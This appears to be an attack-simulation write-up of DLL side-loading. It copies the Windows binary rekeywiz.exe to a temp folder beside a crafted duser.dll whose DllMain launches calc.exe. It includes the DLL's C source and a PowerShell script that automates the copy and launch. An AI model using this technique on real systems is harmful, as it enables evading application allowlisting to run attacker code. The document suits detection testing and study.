Side-Loading a Malicious duser.dll Through the Allowlisted rekeywiz.exe to Launch Calculator

Environment

Related Script

Attack Process:

rekeywiz.exe

• rekeywiz.exe is an application included with the Microsoft operating system. It loads the duser.dll file when executed, which can be monitored with process monitor. First, configure monitoring for the rekeywiz.exe program and the dll files it loads, as shown below:

• From a powershell terminal, start rekeywiz.exe. process monitor shows that it loads the file under C:\Windows\System32\; that file is duser.dll, as shown below:

• When rekeywiz.exe loads the duser.dll file, it first searches for the file. The default search path, in order, is the application's load directory, the system directory, the 16-bit system directory, the Windows directory, the current directory, and directories listed in the PATH environment variable. We therefore copy rekeywiz.exe to the temporary directory E:\TempProjects\dll_side_load and write a malicious duser.dll file. While providing the same functions as the original dll, this dll file also inserts the malicious code we wrote:

#include <Windows.h>
#include <stdio.h>

int payload() {
    printf("payload statement execute\n");
    // call calc.exe
    system("calc.exe");
    return 0;
}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
            // Initialize once for each new process.
            // Return FALSE to fail DLL load.
            payload();
            break;

        case DLL_THREAD_ATTACH:
            // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
            // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
            // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}

• Write the exported-function information in a .def file, after which the linker automatically implements function forwarding. Compile the malicious duser.dll file, place it in the temporary directory E:\TempProjects\dll_side_load together with rekeywiz.exe, and then execute rekeywiz.exe from the temporary directory. As shown below, rekeywiz.exe now loads the same-directory file instead of the legitimate file under C:\Windows\System32\; the latter is duser.dll:

• We also wrote a ps script to automate the entire attack process, as follows:

$target_path = "E:/TempProjects/dll_side_load/rekeywiz.exe"
$rekeywiz_path = "C:/Windows/System32/rekeywiz.exe"
Copy-Item -path $rekeywiz_path -Destination $target_path # move rekeywiz.exe to temp path
Start-Process $target_path # run rekeywiz.exe which in the tmp path and the malicious dll will run calc.exe